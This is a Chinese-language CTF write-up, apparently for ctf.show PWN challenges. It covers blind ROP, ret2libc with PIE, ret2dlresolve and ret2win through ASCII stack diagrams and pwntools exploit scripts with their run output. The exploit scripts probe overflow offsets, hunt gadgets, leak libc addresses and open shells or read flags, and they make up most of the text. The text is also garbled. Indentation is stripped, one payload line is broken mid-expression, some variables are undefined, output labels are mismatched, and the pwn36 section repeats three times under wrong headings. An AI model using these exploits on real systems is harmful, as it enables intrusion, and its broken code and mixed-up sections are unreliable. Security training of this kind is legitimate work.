│ AAAAA     │ 0x400000      │ 0xdead    │ 0xdead│
└───────────┴───────────────┴───────────┴──────-┘
        ↖            ↗                ↘
         │            │                 │
         │            │         Crash   │
         │            ▼                 ▼
         │     ┌───────────────┐        ┌───────────┐
         │     │ pop rdi; ret  │        │ 0xdead    │
         └─────┤ (执行流跳转)    │        │ (非法地址)  │
               └───────────────┘        └───────────┘
                     ↓ 执行完 gadget 后，跳转到栈中下一个地址（0xdead）→ 非法 → Crash

1. 栈被溢出覆盖：  
   - buffer 填 AAAAA，return addr 改为 `pop rdi; ret` 的地址（0x400000）  
   - 后续栈内容是非法地址（0xdead）  

2. 执行流程：  
   - 主函数 return 时，跳转到 `pop rdi; ret`（gadget 执行成功）  
   - 执行完 gadget 后，程序自动跳转到栈的下一个地址（0xdead，非法）  
   - 访问非法地址 → 进程 Crash  

3. 攻击者困惑：  
   - 只看到 Crash，无法区分 “gadget 执行了但后续崩了” 和 “gadget 没执行”  
   - 容易误以为 gadget 无效，放弃利用

但是，如果我们有了stop gadget，那么整个过程将会很不一样. 如果我们在需要尝试的return address之后填上了足够多的stop gadgets，如下图所示：

#填充 stop gadget 后，执行不崩溃（No Crash）
┌────────────────────────────────────────────────────────────┐
│                          Stack                             │
├───────────┬───────────────┬───────────────┬───────────────┤
│ buffer    │ return addr   │ stop (1)      │ stop (2)      │
│ AAAAA     │ 0x400000      │ 0x400010      │ 0x400010      │
└───────────┴───────────────┴───────────────┴───────────────┘
         ↗           ↖                  ↖
         │            │                   │
         │            │         No Crash  │
         │            ▼                   ▼
         │     ┌─────────────┐         ┌─────────────┐
         │     │ pop rdi; ret│         │    sleep    │
         └─────┤ (执行流跳转)  │         │ (维持运行)    │
               └─────────────┘         └─────────────┘

#含危险指令（xor rax, rax; mov (rax), rbx），执行崩溃（Crash）
┌────────────────────────────────────────────────────────────┐
│                          Stack                             │
├───────────┬───────────────┬───────────────┬───────────────┤
│ buffer    │ return addr   │ stop (1)      │ stop (2)      │
│ AAAAA     │ 0x400050      │ 0x400010      │ 0x400010      │
└───────────┴───────────────┴───────────────┴───────────────┘
         ↗           ↖                  ↖
         │            │                   │
         │            │         Crash     │
         │            ▼                   ▼
         │     ┌───────────────────────┐  ┌─────────────┐
         │     │ xor rax, rax;         │  │    sleep    │
         │     │ mov (rax), rbx;       │  │ (未执行到)    │
         └─────┤ (访问空指针 → 崩溃)      │  └─────────────┘
               └───────────────────────┘
当栈布局填充：
1. [合法 stop gadget] → 执行流跳转到安全指令（如 pop rdi; ret → sleep）→ 不崩溃  
   → 程序进入“block 状态”，连接保持，可继续利用  

2. [危险 gadget（如访问空指针）] → 执行流跳转到非法指令 → 崩溃  
   → 程序 Crash，连接断开，无法继续利用  

→ 核心区别：stop gadget 需指向“不访问非法内存、无危险操作”的指令，才能维持程序运行

那么任何会造成进程crash的gadget最后还是会造成进程crash，而那些useful gadget则会进入block状态。尽管如此，还是有一种特殊情况，即那个我们需要尝试的gadget也是一个stop gadget，那么如上所述，它也会被我们标识为useful gadget。不过这并没有关系，因为之后我们还是需要检查该useful gadget是否是我们想要的gadget。

回到题目，直接远程连接：

$ nc pwn.challenge.ctf.show  28277
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Stack_Overflow
    * Site  : https://ctf.show/
    * Hint  : Blind rop !
    * *************************************
Welcome to CTFshow-PWN ! Do you know who is daniu?

简单尝试是否存在栈溢出漏洞，正常输入较短字符串：

Welcome to CTFshow-PWN ! Do you know who is daniu?
yes i know
No passwd,See you!

输入超长字符串：

$ cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
$ nc pwn.challenge.ctf.show  28232
Welcome to CTFshow-PWN ! Do you know who is daniu?
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
timeout: the monitored command dumped core

那么很明显存在栈溢出漏洞了。

第一步(暴力枚举出栈溢出长度)：

from pwn import *
def Get_buf_length():
    i = 1 #表示尝试填入的栈长度
    while 1:
        try:
            io = remote('pwn.challenge.ctf.show', 28227)  
            io.recvuntil(b"Welcome to CTFshow-PWN ! Do you know who is daniu?\n")  
            # 构造 payload，发送 i 个 'a'
            io.send(i * b'a')
            data = io.recv()
            print(data)
            io.close()  
            # 判断返回数据，若不是正常的 'No passwd' 开头，说明溢出
            if not data.startswith(b'No passwd'):  
                return i - 1 #当已经无法正常返回的时候说明已经破坏到了返回值故实际需填充的长度需减一
            else:
                # 没溢出，继续增大长度尝试
                i += 1  
        except EOFError:
            # 程序崩溃，说明溢出，返回当前 i-1
            io.close()  
            return i - 1  

buf_length = Get_buf_length()  
print(f"最终探测到的缓冲区长度为: {buf_length}")

$ python3 exp.py
[+] Opening connection to pwn.challenge.ctf.show on port 28227: Done
b'No passwd,See you!\n'
[*] Closed connection to pwn.challenge.ctf.show port 28227
...
最终探测到的缓冲区长度为: 72

第二步(获取stop_gadget)：
在寻找通用 gadget 之前，我们需要一个 stop gadget。一般情况下，当我们把返回地址覆盖后，程序有很大的几率会挂掉，因为所覆盖的地址可能并不是合法的，所以我们需要一个能够使程序正常返回的地址，称作 stop gadget，这一步至关重要。stop gadget 可能不止一个，这里我们之间返回找到的第一个即可。

from pwn import *
buf_length=72
def Get_Stop_Addr():
address = 0x400000 
    #在 Linux 系统中，32 位 ELF 程序默认加载基地址通常是 0x8048000，而 64 位 ELF 程序默认加载基地址通常是 0x400000,这是 CTF PWN 题中寻找有效地址（如 gadget、函数地址）的常见起点选择
while 1:
print(hex(address))
try:
io = remote('pwn.challenge.ctf.show',28227)
io.recvuntil(b'Do you know who is daniu?\n')
payload = b'a'*buf_length + p64(address)
io.send(payload)
output = io.recv()
if not output.startswith(b'Welcome to CTFshow-PWN ! Do you know who is daniu?'):
io.close()
address += 1
else:
return address
except EOFError:
address += 1
io.close()
stop_gadgets = Get_Stop_Addr()  
print(f"最终确定的stop gadget地址: {hex(stop_gadgets)}")

$ python3 exp.py
0x400700
...
0x400727
[+] Opening connection to pwn.challenge.ctf.show on port 28227: Done
[*] Closed connection to pwn.challenge.ctf.show port 28227
0x400728
[+] Opening connection to pwn.challenge.ctf.show on port 28227: Done
最终探测到的缓冲区长度为: 0x400728
[*] Closed connection to pwn.challenge.ctf.show port 28227

第三步(寻找useful gadget)：
有了 stop gadget，那些原本会导致程序崩溃的地址还是一样会导致崩溃，但那些正常返回的地址则会通过 stop gadget 进入被挂起的状态。下面我们就可以寻找其他可利用的 gadget，由于是 64 位程序，可以考虑使用通用 gadget。

from pwn import *
buf_length=72
stop_gadgets=0x400728
def Get_gadgets_Addr(buf_length, stop_gadgets):
addr = stop_gadgets
while True:
sleep(0.1)
addr += 1
payload = b"A" * buf_length
payload += p64(addr)
payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
payload += p64(stop_gadgets)
try:
io = remote('pwn.challenge.ctf.show',28183)
io.recvline()
io.sendline(payload)
io.recvline()
io.close()
log.info("find address: 0x%x" % addr)
try: # check
payload = b"A"* buf_length
payload += p64(addr)
payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
io = remote('pwn.challenge.ctf.show',28183)
io.recvline()
io.sendline(payload)
io.recvline()
io.close()
log.info("bad address: 0x%x" % addr)
except:
io.close()
log.info("gadget address: 0x%x" % addr)
return addr
except EOFError as e:
io.close()
log.info("bad: 0x%x" % addr)
except:
log.info("Can't connect")
addr -=1
brop_gadgets = Get_gadgets_Addr(buf_length, stop_gadgets)
print(f"最终确定的stop gadget地址: {hex(brop_gadgets)}")

第四步(获取puts_plt的地址)：
plt 表具有比较规整的结构，每一个表项都是 16 字节，而在每个表项的 6 字节偏移处，是该表项对应函数的解析路径，所以先得到 plt 地址，然后 dump 出内存，就可以找到 got 地址。这里我们使用 puts 函数来 dump 内存，比起 write，它只需要一个参数，很方便，这里让 puts 打印出 0x400000 地址处的内容，因为这里通常是程序头的位置（关闭PIE），且前四个字符为 \x7fELF ，方便进行验证。

def Get_puts_plt(buf_length, stop_gadgets, brop_gadgets):
pop_rdi = gadgets_addr + 9 # pop rdi; ret;
addr = stop_gadgets
while True:
sleep(0.1)
addr += 1
payload = b"A"*buf_length
payload += p64(pop_rdi)
payload += p64(0x400000)
payload += p64(addr)
payload += p64(stop_gadgets)
try:
io = remote('pwn.challenge.ctf.show',28235)
io.recvline()
io.sendline(payload)
if io.recv().startswith(b"\x7fELF"):
log.info("puts@plt address: 0x%x" % addr)
io.close()
return addr
log.info("bad: 0x%x" % addr)
io.close()
except EOFError as e:
io.close()
log.info("bad: 0x%x" % addr)
except:
log.info("Can't connect")
addr -= 1
puts_plt=Get_puts_plt(buf_length, stop_gadgets, brop_gadgets)
print(f"最终探测到的缓冲区长度为: {puts_plt}")

[*] puts@plt address: 0x400550

remote dump
有了 puts，有了 gadget，就可以着手 dump 程序了
我们知道 puts 函数通过\x00进行截断，并且会在每一次输出末尾加上换行符\x0a，所以有一些特殊情况需要做一些处理，比如单独的\x00、\x0a等，首先当然是先去掉末尾 puts 自动加上的，然后如果 recv 到一个，说明内存中是\x00，如果 recv 到一个\n，说明内存中是\x0a。
p.recv(timeout=0.1)是由于函数本身的设定，如果有\n，它很可能在收到第一个时就返回了，加上参数可以让它全部接收完。
这里选择从0x400000dump到0x401000，足够了，你还可以 dump 下 data 段的数据，大概从0x600000开始。
puts@got
拿到 dump 下来的文件，使用 Radare2 打开，使用参数 -B 指定程序基地址，然后反汇编puts@plt的位置，于是我们就得到了 puts@got 地址0x602018。该表中还有其他几个函数，根据程序的功能大概可以猜到，无非就是 setbuf、read 之类的，在后面的过程中如果实在无法确定 libc，这些信息可能会有用。
Attack
后面的过程和无 libc 的利用差不多了，先使用 puts 打印出其在内存中的地址，然后使用LibcSearcher里查找相应的 libc，也就是目标机器上的 libc，通过偏移计算出system()函数和字符串/bin/sh的地址，构造 payload 就可以了。
信息获取的差不多就可以直接打啦

from pwn import *
from LibcSearcher import *
io = remote('pwn.challenge.ctf.show',28274)
buf_length = 72
stop_gadgets = 0x400728
brop_gadgets = 0x4007ba
pop_rdi_ret = 0x400843
puts_plt = 0x400550
puts_got = 0x602018




def Dump_Memory(buf_length, stop_gadgets, brop_gadgets, puts_plt, start_addr, end_addr):
pop_rdi = gadgets_addr + 9 # pop rdi; ret
result = ""
while start_addr < end_addr:
#print result.encode('hex')
sleep(0.1)
payload = b"A"*buf_length
payload += p64(pop_rdi)
payload += p64(start_addr)
payload += p64(puts_plt)
payload += p64(stop_gadgets)
try:
io = remote('pwn.challenge.ctf.show',28235)
io.recvline()
io.sendline(payload)
data = io.recv(timeout=0.1) # timeout makes sure to recive all bytes
if data == b"\n":
data = b"\x00"
elif data[-1] == b"\n":
data = data[:-1]
log.info("leaking: 0x%x --> %s" % (start_addr,(data or '').encode('hex')))
result += data
start_addr += len(data)
io.close()
except:
log.info("Can't connect")
return result


io.recvuntil('Do you know who is daniu?\n')
payload = b'a' * buf_length
payload += p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt)
payload += p64(stop_gadgets)
payload = 'a' * buf_length + p64(pop_rdi_ret) + p64(bin_sh) + p64(system
io.sendline(payload)
puts = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print hex(puts)
libc = LibcSearcher('puts',puts)
libc_base = puts - libc.dump('puts')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
)
io.sendline(payload)
io.interactive()

pwn81(ubuntu18.04)

Hint：ROP变种

checksec检查保护

$ chmod +x pwn
$ checksec pwn
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No

64位仅关闭Canary

IDA查看main函数：

int __fastcall main(int argc, const char **argv, const char **envp)
{
  void *v3; // rax
  void *handle; // [rsp+8h] [rbp-8h]

  init(argc, argv, envp);
  logo();
  puts("Maybe it's simple,O.o");
  handle = dlopen("libc.so.6", 258);
  v3 = dlsym(handle, "system");
  printf("%p\n", v3);
  ctfshow();
  write(1, "Hello CTFshow!\n", 0xFu);
  return 0;
}

可以看到程序先打开动态链接库“libc.so.6”,然后回去其中的system函数地址，再打印出system函数的地址

然后再执行ctfshow函数，再使用write函数打印出“Hello CTFshow!”

跟进ctfshow函数：

ssize_t ctfshow()
{
  _BYTE buf[128]; // [rsp+0h] [rbp-80h] BYREF

  return read(0, buf, 0x100u);
}

明显的栈溢出漏洞了，与之前不同的是

这次开启了地址随机化，我们得到的地址都并不是真实地址，而是一个相对偏移：

.text:00000000000009A1 ; int __fastcall main(int argc, const char **argv, const char **envp)
.text:00000000000009A1                 public main
.text:00000000000009A1 main            proc near               ; DATA XREF: _start+1D↑o
.text:00000000000009A1
.text:00000000000009A1 handle          = qword ptr -8
.text:00000000000009A1
.text:00000000000009A1 ; __unwind {
.text:00000000000009A1                 push    rbp
.text:00000000000009A2                 mov     rbp, rsp
.text:00000000000009A5                 sub     rsp, 10h
.text:00000000000009A9                 mov     eax, 0
.text:00000000000009AE                 call    init
.text:00000000000009B3                 mov     eax, 0
.text:00000000000009B8                 call    logo
.text:00000000000009BD                 lea     rdi, aMaybeItSSimple ; "Maybe it's simple,O.o"
.text:00000000000009C4                 call    _puts
.text:00000000000009C9                 mov     esi, 102h       ; mode
.text:00000000000009CE                 lea     rdi, file       ; "libc.so.6"
.text:00000000000009D5                 call    _dlopen
.text:00000000000009DA                 mov     [rbp+handle], rax
.text:00000000000009DE                 mov     rax, [rbp+handle]
.text:00000000000009E2                 lea     rsi, name       ; "system"
.text:00000000000009E9                 mov     rdi, rax        ; handle
.text:00000000000009EC                 call    _dlsym
.text:00000000000009F1                 mov     rsi, rax
.text:00000000000009F4                 lea     rdi, format     ; "%p\n"
.text:00000000000009FB                 mov     eax, 0
.text:0000000000000A00                 call    _printf
.text:0000000000000A05                 mov     eax, 0
.text:0000000000000A0A                 call    ctfshow
.text:0000000000000A0F                 mov     edx, 0Fh        ; n
.text:0000000000000A14                 lea     rsi, aHelloCtfshow ; "Hello CTFshow!\n"
.text:0000000000000A1B                 mov     edi, 1          ; fd
.text:0000000000000A20                 call    _write
.text:0000000000000A25                 mov     eax, 0
.text:0000000000000A2A                 leave
.text:0000000000000A2B                 retn
.text:0000000000000A2B ; } // starts at 9A1
.text:0000000000000A2B main            endp

做法其实跟之前一样，不同的仅仅是需要在前面加上libc_base 也就是先算出libc中的基址

而已知程序会打印出system函数，那么问题也就迎刃而解了

$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret" | grep "rdi"
$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "ret" | less
0x00000000000008aa : ret

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = process('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
io.recvuntil(b"Maybe it's simple,O.o\n")
system = int(io.recvline(),16)#转换为16进制整数
print(hex(system))
libc_base = system - libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
pop_rdi = libc_base + 0x2164f
ret = libc_base + 0x8aa
payload = cyclic(0x80+8) + p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(system)
io.send(payload)
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 122
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
0x7f1477a69420
[*] Switching to interactive mode
$ ls

pwn82 (32 位 dl_runtime_resolve , NO-RELRO )

Hint：高级ROP 32 位 NO-RELRO

checksec检查保护

$ chmod +x pwn
$ checksec pwn
  Arch:       i386-32-little
  RELRO:      No RELRO
  Stack:      No canary found
  NX:         NX enabled
  PIE:        No PIE (0x8048000)
  Stripped:   No

32位仅开启NX保护，可以看到RELRO保护是完全关闭状态

具体利用思路如下：

首先修改.dynamic节中字符串表的地址为伪造地址，然后再伪造的地址处构造好字符串表，将read字符串替换为system字符串，再在特定位置读取/bin/sh字符串，继续调用read函数的plt的第二条指令，触发 _dl_runtime_resolve 进行函数解析，从而执行 system 函数。

这种情况下来说相对简单点

82-85题为ret2dlresolve高级栈溢出技巧，建议大家可以跟着CTFwiki一步步自行跟着构造，https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve/

int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t n; // eax
  char buf[112]; // [esp+0h] [ebp-7Ch] BYREF
  int *p_argc; // [esp+70h] [ebp-Ch]

  p_argc = &argc;
  strcpy(buf, "Welcome to CTFshowPWN!\n");
  memset(&buf[24], 0, 0x4Cu);
  setbuf(stdout, buf);
  n = strlen(buf);
  write(1, buf, n);
  show();
  return 0;
}

跟进ctfshow函数：

char *ctfshow()
{
  char s[36]; // [esp+0h] [ebp-28h] BYREF

  return gets(s);
}

还在程序中找到了get_flag函数：

int get_flag()
{
  char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
  FILE *stream; // [esp+4Ch] [ebp-Ch]

  stream = fopen("/ctfshow_flag", "r");
  if ( !stream )
  {
    puts("/ctfshow_flag: No such file or directory.");
    exit(0);
  }
  fgets(s, 64, stream);
  return printf(s);
}

因此我们只需要利用栈溢出漏洞覆盖返回地址，将程序的执行流程转向 get_flag 函数，从而获取flag

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io=process('./pwn')
elf=ELF('./pwn')
flag=elf.sym['get_flag']
payload=cyclic(0x28+4)+p32(flag)
io.sendline(payload)
io.interactive()

from pwn import *
context.log_level = 'debug'
#io = process("./pwn")
io = remote('pwn.challenge.ctf.show',28291)
elf = ELF("./pwn")
rop = ROP("./pwn")
io.recvuntil('Welcome to CTFshowPWN!\n')
offset = 112
rop.raw(offset*'a')
rop.read(0,0x08049804+4,4) # modify .dynstr pointer in
.dynamic section to a specific location
dynstr = elf.get_section_by_name('.dynstr').data()
dynstr = dynstr.replace("read","system")
rop.read(0,0x080498E0,len((dynstr))) # construct a fake dynstr
section
rop.read(0,0x080498E0+0x100,len("/bin/sh\x00")) # read /bin/sh\x00
rop.raw(0x08048376) # the second instruction of
read@plt
rop.raw(0xdeadbeef)
rop.raw(0x080498E0+0x100)
# print(rop.dump())
assert(len(rop.chain())<=256)
rop.raw("a"*(256-len(rop.chain())))
io.send(rop.chain())
io.send(p32(0x080498E0))
io.send(dynstr)
io.send("/bin/sh\x00")
io.interactive()

checksec检查保护

$ chmod +x pwn
$ checksec pwn
  Arch:       i386-32-little
  RELRO:      Partial RELRO
  Stack:      No canary found
  NX:         NX unknown - GNU_STACK missing
  PIE:        No PIE (0x8048000)
  Stack:      Executable
  RWX:        Has RWX segments
  Stripped:   No

32位保护仅部分开启RELRO，同时注意到有可读可写可执行的段

32位IDA查看main函数：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  puts(asc_804883C);
  puts(asc_80488B0);
  puts(asc_804892C);
  puts(asc_80489B8);
  puts(asc_8048A48);
  puts(asc_8048ACC);
  puts(asc_8048B60);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Stack_Overflow                                          ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : There are backdoor functions here!                      ");
  puts("    * *************************************                           ");
  puts("Find and use it!");
  puts("Enter what you want: ");
  ctfshow();
  return 0;
}

跟进ctfshow函数：

char *ctfshow()
{
  char s[36]; // [esp+0h] [ebp-28h] BYREF

  return gets(s);
}

还在程序中找到了get_flag函数：

int get_flag()
{
  char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
  FILE *stream; // [esp+4Ch] [ebp-Ch]

  stream = fopen("/ctfshow_flag", "r");
  if ( !stream )
  {
    puts("/ctfshow_flag: No such file or directory.");
    exit(0);
  }
  fgets(s, 64, stream);
  return printf(s);
}

因此我们只需要利用栈溢出漏洞覆盖返回地址，将程序的执行流程转向 get_flag 函数，从而获取flag

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io=process('./pwn')
elf=ELF('./pwn')
flag=elf.sym['get_flag']
payload=cyclic(0x28+4)+p32(flag)
io.sendline(payload)
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 872
[*] '/CTFshow_pwn/pwn'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x8048000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No
[*] Switching to interactive mode
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Stack_Overflow
    * Site  : https://ctf.show/
    * Hint  : There are backdoor functions here!
    * *************************************
Find and use it!
Enter what you want:
flag{just_test_my_process}

pwn83(ret2dlresolve,32 位 Partial-RELRO)

Hint：存在后门函数，如何利用？

checksec检查保护

$ chmod +x pwn
$ checksec pwn
  Arch:       i386-32-little
  RELRO:      Partial RELRO
  Stack:      No canary found
  NX:         NX unknown - GNU_STACK missing
  PIE:        No PIE (0x8048000)
  Stack:      Executable
  RWX:        Has RWX segments
  Stripped:   No

32位保护仅部分开启RELRO，同时注意到有可读可写可执行的段

32位IDA查看main函数：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  puts(asc_804883C);
  puts(asc_80488B0);
  puts(asc_804892C);
  puts(asc_80489B8);
  puts(asc_8048A48);
  puts(asc_8048ACC);
  puts(asc_8048B60);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Stack_Overflow                                          ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : There are backdoor functions here!                      ");
  puts("    * *************************************                           ");
  puts("Find and use it!");
  puts("Enter what you want: ");
  ctfshow();
  return 0;
}

跟进ctfshow函数：

char *ctfshow()
{
  char s[36]; // [esp+0h] [ebp-28h] BYREF

  return gets(s);
}

还在程序中找到了get_flag函数：

int get_flag()
{
  char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
  FILE *stream; // [esp+4Ch] [ebp-Ch]

  stream = fopen("/ctfshow_flag", "r");
  if ( !stream )
  {
    puts("/ctfshow_flag: No such file or directory.");
    exit(0);
  }
  fgets(s, 64, stream);
  return printf(s);
}

因此我们只需要利用栈溢出漏洞覆盖返回地址，将程序的执行流程转向 get_flag 函数，从而获取flag

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io=process('./pwn')
elf=ELF('./pwn')
flag=elf.sym['get_flag']
payload=cyclic(0x28+4)+p32(flag)
io.sendline(payload)
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 872
[*] '/CTFshow_pwn/pwn'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x8048000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No
[*] Switching to interactive mode
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Stack_Overflow
    * Site  : https://ctf.show/
    * Hint  : There are backdoor functions here!
    * *************************************
Find and use it!
Enter what you want:
flag{just_test_my_process}

pwn36

Hint：存在后门函数，如何利用？

checksec检查保护

$ chmod +x pwn
$ checksec pwn
  Arch:       i386-32-little
  RELRO:      Partial RELRO
  Stack:      No canary found
  NX:         NX unknown - GNU_STACK missing
  PIE:        No PIE (0x8048000)
  Stack:      Executable
  RWX:        Has RWX segments
  Stripped:   No

32位保护仅部分开启RELRO，同时注意到有可读可写可执行的段

32位IDA查看main函数：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  puts(asc_804883C);
  puts(asc_80488B0);
  puts(asc_804892C);
  puts(asc_80489B8);
  puts(asc_8048A48);
  puts(asc_8048ACC);
  puts(asc_8048B60);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Stack_Overflow                                          ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : There are backdoor functions here!                      ");
  puts("    * *************************************                           ");
  puts("Find and use it!");
  puts("Enter what you want: ");
  ctfshow();
  return 0;
}

跟进ctfshow函数：

char *ctfshow()
{
  char s[36]; // [esp+0h] [ebp-28h] BYREF

  return gets(s);
}

还在程序中找到了get_flag函数：

int get_flag()
{
  char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
  FILE *stream; // [esp+4Ch] [ebp-Ch]

  stream = fopen("/ctfshow_flag", "r");
  if ( !stream )
  {
    puts("/ctfshow_flag: No such file or directory.");
    exit(0);
  }
  fgets(s, 64, stream);
  return printf(s);
}

因此我们只需要利用栈溢出漏洞覆盖返回地址，将程序的执行流程转向 get_flag 函数，从而获取flag

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io=process('./pwn')
elf=ELF('./pwn')
flag=elf.sym['get_flag']
payload=cyclic(0x28+4)+p32(flag)
io.sendline(payload)
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 872
[*] '/CTFshow_pwn/pwn'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x8048000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No
[*] Switching to interactive mode
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Stack_Overflow
    * Site  : https://ctf.show/
    * Hint  : There are backdoor functions here!
    * *************************************
Find and use it!
Enter what you want:
flag{just_test_my_process}

pwn36

Hint：存在后门函数，如何利用？

checksec检查保护

$ chmod +x pwn
$ checksec pwn
  Arch:       i386-32-little
  RELRO:      Partial RELRO
  Stack:      No canary found
  NX:         NX unknown - GNU_STACK missing
  PIE:        No PIE (0x8048000)
  Stack:      Executable
  RWX:        Has RWX segments
  Stripped:   No

32位保护仅部分开启RELRO，同时注意到有可读可写可执行的段

32位IDA查看main函数：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  puts(asc_804883C);
  puts(asc_80488B0);
  puts(asc_804892C);
  puts(asc_80489B8);
  puts(asc_8048A48);
  puts(asc_8048ACC);
  puts(asc_8048B60);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Stack_Overflow                                          ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : There are backdoor functions here!                      ");
  puts("    * *************************************                           ");
  puts("Find and use it!");
  puts("Enter what you want: ");
  ctfshow();
  return 0;
}

跟进ctfshow函数：

char *ctfshow()
{
  char s[36]; // [esp+0h] [ebp-28h] BYREF

  return gets(s);
}

还在程序中找到了get_flag函数：

int get_flag()
{
  char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
  FILE *stream; // [esp+4Ch] [ebp-Ch]

  stream = fopen("/ctfshow_flag", "r");
  if ( !stream )
  {
    puts("/ctfshow_flag: No such file or directory.");
    exit(0);
  }
  fgets(s, 64, stream);
  return printf(s);
}

因此我们只需要利用栈溢出漏洞覆盖返回地址，将程序的执行流程转向 get_flag 函数，从而获取flag

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io=process('./pwn')
elf=ELF('./pwn')
flag=elf.sym['get_flag']
payload=cyclic(0x28+4)+p32(flag)
io.sendline(payload)
io.interactive()

$ python3 exp.py
[+] Starting local process './pwn': pid 872
[*] '/CTFshow_pwn/pwn'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x8048000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No
[*] Switching to interactive mode
    * *************************************
    * Classify: CTFshow --- PWN --- 入门
    * Type  : Stack_Overflow
    * Site  : https://ctf.show/
    * Hint  : There are backdoor functions here!
    * *************************************
Find and use it!
Enter what you want:
flag{just_test_my_process}

pwn36

Hint：存在后门函数，如何利用？

checksec检查保护

$ chmod +x pwn
$ checksec pwn
  Arch:       i386-32-little
  RELRO:      Partial RELRO
  Stack:      No canary found
  NX:         NX unknown - GNU_STACK missing
  PIE:        No PIE (0x8048000)
  Stack:      Executable
  RWX:        Has RWX segments
  Stripped:   No

32位保护仅部分开启RELRO，同时注意到有可读可写可执行的段

32位IDA查看main函数：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  puts(asc_804883C);
  puts(asc_80488B0);
  puts(asc_804892C);
  puts(asc_80489B8);
  puts(asc_8048A48);
  puts(asc_8048ACC);
  puts(asc_8048B60);
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Stack_Overflow                                          ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : There are backdoor functions here!                      ");
  puts("    * *************************************                           ");
  puts("Find and use it!");
  puts("Enter what you want: ");
  ctfshow();
  return 0;
}

跟进ctfshow函数：

char *ctfshow()
{
  char s[36]; // [esp+0h] [ebp-28h] BYREF

  return gets(s);
}

还在程序中找到了get_flag函数：

int get_flag()
{
  char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
  FILE *stream; // [esp+4Ch] [ebp-Ch]

  stream = fopen("/ctfshow_flag", "r");
  if ( !stream )
  {
    puts("/ctfshow_flag: No such file or directory.");
